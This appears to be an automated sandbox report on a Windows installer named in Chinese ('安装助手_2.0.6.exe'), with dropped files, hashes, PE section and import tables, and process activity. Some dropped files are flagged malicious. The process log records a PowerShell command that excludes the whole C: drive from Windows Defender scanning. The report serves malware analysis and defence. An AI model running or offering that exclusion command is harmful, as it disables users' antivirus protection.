                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                        Malicious:false
                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4gnolrdq.yk0.psm1

                                        Download File
                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        File Type:ASCII text, with no line terminators
                                        Category:dropped
                                        Size (bytes):60
                                        Entropy (8bit):4.038920595031593
                                        Encrypted:false
                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                        Malicious:false
                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aqv2isbv.5we.ps1

                                        Download File
                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        File Type:ASCII text, with no line terminators
                                        Category:dropped
                                        Size (bytes):60
                                        Entropy (8bit):4.038920595031593
                                        Encrypted:false
                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                        Malicious:false
                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j32rbbna.tb4.psm1

                                        Download File
                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        File Type:ASCII text, with no line terminators
                                        Category:dropped
                                        Size (bytes):60
                                        Entropy (8bit):4.038920595031593
                                        Encrypted:false
                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                        Malicious:false
                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                        C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp

                                        Download File
                                        Process:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe
                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):3366912
                                        Entropy (8bit):6.530548291878271
                                        Encrypted:false
                                        SSDEEP:98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
                                        MD5:9902FA6D39184B87AED7D94A037912D8
                                        SHA1:F5D8470ACF5DFF81C6D3364A8943B24E3DB48D95
                                        SHA-256:43D9F1FA3BDA81C618CC23FBB4E9D8551305AF0090A3D452C4070F938F6BCFAC
                                        SHA-512:BC97E2C379C464F821AF0E38630DB65165F4E91A1105A3C7DABCC5E61CC9EAAB1522AC82E749AA4FEFC5A9E21A295A0A59CFE99D6BC3980F9C89F00AF5B8CF75
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f..................*...........*.......*...@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

                                        C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\_isetup\_setup64.tmp

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32+ executable (console) x86-64, for MS Windows
                                        Category:dropped
                                        Size (bytes):6144
                                        Entropy (8bit):4.720366600008286
                                        Encrypted:false
                                        SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                        MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                        SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                        SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                        SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                        Malicious:false
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                        C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\update.vac

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):3598848
                                        Entropy (8bit):7.004949099807939
                                        Encrypted:false
                                        SSDEEP:49152:OLI2LSDJWhsk/42oQ6C+NkdkcQdhjee71MzuiehWIKxZUQjOlwz+cxtVI8q29Zlc:OLVLAJG42oaPQdhCe71MzSRsyo29Al
                                        MD5:1D1464C73252978A58AC925ECE57F0FB
                                        SHA1:30E442BE965F96F3EB75A3ABDB61B90E5A506993
                                        SHA-256:05184064FB017025E0704D75D199BAE02EBBD30AE4D76FB237DF9596CE6450AA
                                        SHA-512:40165B34D6BC63472C3874AAC1FB25B19880F5DFE662F672181728732DC80503A64EF4A8058A410755A321D6BDB7314387464DD8243D6E912F37D5032177928A
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 11%
                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....gg...........!.....b..........%........................................p7...........@.........................HC.......J..<.... 7.X....................07.8?..........................x........................K...............................text...`a.......b.................. ..`.rdata..<............f..............@..@.data................\..............@....00cfg.......`(.......(.............@..@.tls.........p(.......(.............@....voltbl.F.....(...... (..................=~ .........(......"(............. ..`.rsrc...X.... 7.......6.............@..@.reloc..8?...07..@....6.............@..B................................................................................................................................................................................................................................................................................

                                        C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp

                                        Download File
                                        Process:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe
                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):3366912
                                        Entropy (8bit):6.530548291878271
                                        Encrypted:false
                                        SSDEEP:98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
                                        MD5:9902FA6D39184B87AED7D94A037912D8
                                        SHA1:F5D8470ACF5DFF81C6D3364A8943B24E3DB48D95
                                        SHA-256:43D9F1FA3BDA81C618CC23FBB4E9D8551305AF0090A3D452C4070F938F6BCFAC
                                        SHA-512:BC97E2C379C464F821AF0E38630DB65165F4E91A1105A3C7DABCC5E61CC9EAAB1522AC82E749AA4FEFC5A9E21A295A0A59CFE99D6BC3980F9C89F00AF5B8CF75
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f..................*...........*.......*...@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

                                        C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\_isetup\_setup64.tmp

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32+ executable (console) x86-64, for MS Windows
                                        Category:dropped
                                        Size (bytes):6144
                                        Entropy (8bit):4.720366600008286
                                        Encrypted:false
                                        SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                        MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                        SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                        SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                        SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                        Malicious:false
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                        C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\update.vac

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):3598848
                                        Entropy (8bit):7.004949099807939
                                        Encrypted:false
                                        SSDEEP:49152:OLI2LSDJWhsk/42oQ6C+NkdkcQdhjee71MzuiehWIKxZUQjOlwz+cxtVI8q29Zlc:OLVLAJG42oaPQdhCe71MzSRsyo29Al
                                        MD5:1D1464C73252978A58AC925ECE57F0FB
                                        SHA1:30E442BE965F96F3EB75A3ABDB61B90E5A506993
                                        SHA-256:05184064FB017025E0704D75D199BAE02EBBD30AE4D76FB237DF9596CE6450AA
                                        SHA-512:40165B34D6BC63472C3874AAC1FB25B19880F5DFE662F672181728732DC80503A64EF4A8058A410755A321D6BDB7314387464DD8243D6E912F37D5032177928A
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 11%
                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....gg...........!.....b..........%........................................p7...........@.........................HC.......J..<.... 7.X....................07.8?..........................x........................K...............................text...`a.......b.................. ..`.rdata..<............f..............@..@.data................\..............@....00cfg.......`(.......(.............@..@.tls.........p(.......(.............@....voltbl.F.....(...... (..................=~ .........(......"(............. ..`.rsrc...X.... 7.......6.............@..@.reloc..8?...07..@....6.............@..B................................................................................................................................................................................................................................................................................

                                        \Device\ConDrv

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:ASCII text, with CRLF, CR line terminators
                                        Category:dropped
                                        Size (bytes):406
                                        Entropy (8bit):5.117520345541057
                                        Encrypted:false
                                        SSDEEP:6:AMpUMcvtFHcAxXF2SaioBGWOSTIPAiTVHsCgN/J2+ebVcdsvUGrFfpap1tNSK6n:pCXVZRwXkWDThGHs/JldsvhJA1tNS9n
                                        MD5:9200058492BCA8F9D88B4877F842C148
                                        SHA1:EED69748A26CFAF769EF589F395A162E87005B36
                                        SHA-256:BAFB8C87BCB80E77FF659D7B8152145866D8BD67D202624515721CBF38BA8745
                                        SHA-512:312AB0CBA3151B3CE424198C0855EEE39CC06FC8271E3D49134F00D7E09407964F31D3107169479CE4F8FD85D20BBD3F5309D3052849021954CD46A0B723F2A9
                                        Malicious:false
                                        Preview:..7-Zip (a) 23.01 (x86) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20....Scanning the drive for archives:.. 0M Scan. .1 file, 31890 bytes (32 KiB)....Extracting archive: locale3.dat..--..Path = locale3.dat..Type = 7z..Physical Size = 31890..Headers Size = 354..Method = LZMA2:16 LZMA:16 BCJ2 7zAES..Solid = -..Blocks = 1.... 0%. .Everything is Ok....Size: 63640..Compressed: 31890..

                                        Static File Info

                                        General

                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                        Entropy (8bit):7.921353110353784
                                        TrID:
                                        • Win32 Executable (generic) a (10002005/4) 98.04%
                                        • Inno Setup installer (109748/4) 1.08%
                                        • InstallShield setup (43055/19) 0.42%
                                        • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                                        • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                        File name:#U5b89#U88c5#U52a9#U624b_2.0.6.exe
                                        File size:5'707'631 bytes
                                        MD5:2fab10855efc0dc62a255ff1e6ec8fa6
                                        SHA1:0d69a4ea968d50370ee5f7d6e78252f5f61b75f5
                                        SHA256:869de4431ad5ea6b7513c3e12ff32ecd8b0e93e33c5ab6e3de7bf90de55edc23
                                        SHA512:112518d48c5b17c5e03506eb2c59aad5c102f8d709d35310a3078ff0c7181a6fe84cf0c54346c106055d7acea7471d5d160b37ecb2f39c0c9ac385c89cf36f18
                                        SSDEEP:98304:XwREyjp8ySvB0Hrd/9gpyh9PwHgtNnlQcJ3hoSBBAy6rpS7eeBacyCUmdMwZgf:lyjBSZs/Sa9PwHgtXQc9hoSBBAPpCee8
                                        TLSH:53461213F2CBD03EF05E0B3B15B2A54494FBAA25A922BD5786ECB4ECCE650501D3E647
                                        File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                        File Icon

                                        Icon Hash:0c0c2d33ceec80aa

                                        Static PE Info

                                        General

                                        Entrypoint:0x4a83bc
                                        Entrypoint Section:.itext
                                        Digitally signed:false
                                        Imagebase:0x400000
                                        Subsystem:windows gui
                                        Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                        Time Stamp:0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
                                        TLS Callbacks:
                                        CLR (.Net) Version:
                                        OS Version Major:6
                                        OS Version Minor:1
                                        File Version Major:6
                                        File Version Minor:1
                                        Subsystem Version Major:6
                                        Subsystem Version Minor:1
                                        Import Hash:40ab50289f7ef5fae60801f88d4541fc

                                        Entrypoint Preview

                                        Instruction
                                        push ebp
                                        mov ebp, esp
                                        add esp, FFFFFFA4h
                                        push ebx
                                        push esi
                                        push edi
                                        xor eax, eax
                                        mov dword ptr [ebp-3Ch], eax
                                        mov dword ptr [ebp-40h], eax
                                        mov dword ptr [ebp-5Ch], eax
                                        mov dword ptr [ebp-30h], eax
                                        mov dword ptr [ebp-38h], eax
                                        mov dword ptr [ebp-34h], eax
                                        mov dword ptr [ebp-2Ch], eax
                                        mov dword ptr [ebp-28h], eax
                                        mov dword ptr [ebp-14h], eax
                                        mov eax, 004A2EBCh
                                        call 00007F04D0CC7D05h
                                        xor eax, eax
                                        push ebp
                                        push 004A8AC1h
                                        push dword ptr fs:[eax]
                                        mov dword ptr fs:[eax], esp
                                        xor edx, edx
                                        push ebp
                                        push 004A8A7Bh
                                        push dword ptr fs:[edx]
                                        mov dword ptr fs:[edx], esp
                                        mov eax, dword ptr [004B0634h]
                                        call 00007F04D0D5968Bh
                                        call 00007F04D0D591DEh
                                        lea edx, dword ptr [ebp-14h]
                                        xor eax, eax
                                        call 00007F04D0D53EB8h
                                        mov edx, dword ptr [ebp-14h]
                                        mov eax, 004B41F4h
                                        call 00007F04D0CC1DB3h
                                        push 00000002h
                                        push 00000000h
                                        push 00000001h
                                        mov ecx, dword ptr [004B41F4h]
                                        mov dl, 01h
                                        mov eax, dword ptr [0049CD14h]
                                        call 00007F04D0D551E3h
                                        mov dword ptr [004B41F8h], eax
                                        xor edx, edx
                                        push ebp
                                        push 004A8A27h
                                        push dword ptr fs:[edx]
                                        mov dword ptr fs:[edx], esp
                                        call 00007F04D0D59713h
                                        mov dword ptr [004B4200h], eax
                                        mov eax, dword ptr [004B4200h]
                                        cmp dword ptr [eax+0Ch], 01h
                                        jne 00007F04D0D603FAh
                                        mov eax, dword ptr [004B4200h]
                                        mov edx, 00000028h
                                        call 00007F04D0D55AD8h
                                        mov edx, dword ptr [004B4200h]

                                        Data Directories

                                        NameVirtual AddressVirtual Size Is in Section
                                        IMAGE_DIRECTORY_ENTRY_EXPORT0xb70000x71.edata
                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xb50000xfec.idata
                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xcb0000x11000.rsrc
                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0xba0000x10fa8.reloc
                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_TLS0xb90000x18.rdata
                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IAT0xb52d40x25c.idata
                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xb60000x1a4.didata
                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                        Sections

                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                        .text0x10000xa568c0xa5800b889d302f6fc48a904de33d8d947ae80False0.3620185045317221data6.377190161826806IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                        .itext0xa70000x1b640x1c00588dd0a8ab499300d3701cbd11b017d9False0.548828125data6.109264411030635IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                        .data0xa90000x38380x3a005c0c76e77aef52ebc6702430837ccb6eFalse0.35338092672413796data4.95916338709992IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .bss0xad0000x72580x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .idata0xb50000xfec0x1000627340dff539ef99048969aa4824fb2dFalse0.380615234375data5.020404933181373IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .didata0xb60000x1a40x200fd11c1109737963cc6cb7258063abfd6False0.34765625data2.729290535217263IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .edata0xb70000x710x2007de8ca0c7a61668a728fd3a88dc0942dFalse0.1796875data1.305578535725827IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                        .tls0xb80000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .rdata0xb90000x5d0x200d84006640084dc9f74a07c2ff9c7d656False0.189453125data1.3892750148744617IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                        .reloc0xba0000x10fa80x11000a85fda2741bd9417695daa5fc5a9d7a5False0.5789579503676471data6.709466460182023IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
                                        .rsrc0xcb0000x110000x110003dc30b7cf7f4e86176edbf29a64cbf74False0.18785903033088236data3.7212234726717934IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                        Resources

                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                        RT_ICON0xcb6780xa68Device independent bitmap graphic, 64 x 128 x 4, image size 2048EnglishUnited States0.1174924924924925
                                        RT_ICON0xcc0e00x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishUnited States0.15792682926829268
                                        RT_ICON0xcc7480x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishUnited States0.23387096774193547
                                        RT_ICON0xcca300x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishUnited States0.39864864864864863
                                        RT_ICON0xccb580x1628Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colorsEnglishUnited States0.08339210155148095
                                        RT_ICON0xce1800xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishUnited States0.1023454157782516
                                        RT_ICON0xcf0280x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishUnited States0.10649819494584838
                                        RT_ICON0xcf8d00x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishUnited States0.10838150289017341
                                        RT_ICON0xcfe380x12e5PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.8712011577424024
                                        RT_ICON0xd11200x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States0.05668398677373642
                                        RT_ICON0xd53480x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.08475103734439834
                                        RT_ICON0xd78f00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.09920262664165103
                                        RT_ICON0xd89980x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.2047872340425532
                                        RT_STRING0xd8e000x3f8data0.3198818897637795
                                        RT_STRING0xd91f80x2dcdata0.36475409836065575
                                        RT_STRING0xd94d40x430data0.40578358208955223
                                        RT_STRING0xd99040x44cdata0.38636363636363635
                                        RT_STRING0xd9d500x2d4data0.39226519337016574
                                        RT_STRING0xda0240xb8data0.6467391304347826
                                        RT_STRING0xda0dc0x9cdata0.6410256410256411
                                        RT_STRING0xda1780x374data0.4230769230769231
                                        RT_STRING0xda4ec0x398data0.3358695652173913
                                        RT_STRING0xda8840x368data0.3795871559633027
                                        RT_STRING0xdabec0x2a4data0.4275147928994083
                                        RT_RCDATA0xdae900x10data1.5
                                        RT_RCDATA0xdaea00x310data0.6173469387755102
                                        RT_RCDATA0xdb1b00x2cdata1.1590909090909092
                                        RT_GROUP_ICON0xdb1dc0xbcdataEnglishUnited States0.6170212765957447
                                        RT_VERSION0xdb2980x584dataEnglishUnited States0.2804532577903683
                                        RT_MANIFEST0xdb81c0x7a8XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3377551020408163

                                        Imports

                                        DLLImport
                                        kernel32.dllGetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                                        comctl32.dllInitCommonControls
                                        user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                                        oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                                        advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

                                        Exports

                                        NameOrdinalAddress
                                        __dbk_fcall_wrapper20x40fc10
                                        dbkFCallWrapperAddr10x4b063c

                                        Possible Origin

                                        Language of compilation systemCountry where language is spokenMap
                                        EnglishUnited States

                                        Network Behavior

                                        ⊘No network behavior found

                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:03:00:03
                                        Start date:23/12/2024
                                        Path:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe"
                                        Imagebase:0x580000
                                        File size:5'707'631 bytes
                                        MD5 hash:2FAB10855EFC0DC62A255FF1E6EC8FA6
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:Borland Delphi
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:2
                                        Start time:03:00:03
                                        Start date:23/12/2024
                                        Path:C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe"
                                        Imagebase:0x7c0000
                                        File size:3'366'912 bytes
                                        MD5 hash:9902FA6D39184B87AED7D94A037912D8
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:Borland Delphi
                                        Antivirus matches:
                                        • Detection: 0%, ReversingLabs
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:3
                                        Start time:03:00:04
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        Wow64 process (32bit):false
                                        Commandline:"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
                                        Imagebase:0x7ff7be880000
                                        File size:452'608 bytes
                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:4
                                        Start time:03:00:04
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
